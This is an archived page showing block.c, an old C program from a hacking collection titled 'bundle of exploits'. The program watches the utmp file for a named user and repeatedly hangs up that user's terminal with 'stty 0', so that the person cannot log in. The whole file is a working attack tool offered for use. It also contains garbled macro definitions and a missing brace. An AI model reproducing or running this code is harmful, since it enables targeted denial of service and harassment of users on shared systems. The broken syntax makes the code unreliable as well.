home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / block.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  1KB  |  77 lines

  1.  
  2. /* block.c -- prevent a user from logging in
  3.  * by Shooting Shark
  4.  * usage : block username [&]
  5.  * I suggest you run this in background.
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <utmp.h>
  11. #include <ctype.h>
  12. #include <termio.h>
  13. #include <fcntl.h>
  14. #include <unistd.h>
  15. #include <sys/types.h>
  16.  
  17. #define W_OK2
  18. #define SLEEP5
  19. #define UTMP"/var/adm/utmp"
  20. #define TTY_PRE "/dev/"
  21.  
  22. main(ac,av)
  23. int ac;
  24. char *av[];
  25. {
  26. int target, fp, open();
  27. struct utmp user;
  28. struct termio *opts;
  29. char buf[30], buf2[50];
  30.  
  31. if (ac != 2) {
  32. printf("usage : %s username\n",av[0]);
  33. exit(-1);
  34. }
  35.  
  36.  
  37. for (;;) {
  38.  
  39. if ((fp = open(UTMP,0)) == -1) {
  40. printf("fatal error!  cannot open %s.\n",UTMP);
  41. exit(-1);
  42. }
  43.  
  44.  
  45. while (read(fp, &user, sizeof user) > 0) {
  46. if (isprint(user.ut_name[0])) {
  47. if (!(strcmp(user.ut_name,av[1]))) {
  48.  
  49. printf("%s is logging in...",user.ut_name);
  50. sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
  51. printf("%s\n",buf);
  52. if (access(buf,W_OK) == -1) {
  53. printf("failed - program aborting.\n");
  54. exit(-1); 
  55. else {
  56. if ((target = open(buf,O_WRONLY)) != EOF) {
  57. sprintf(buf2,"stty 0 > %s",buf);
  58. system(buf2);
  59. printf("killed.\n");
  60. sleep(10);
  61. }
  62.  
  63. } /* else */
  64. } /* if strcmp */
  65. } /* if isprint */
  66. } /* while */
  67. close(fp);
  68.  
  69. /*sleep(SLEEP);  */
  70.  
  71. } /* for */
  72.  
  73.  
  74. }
  75.  
  76.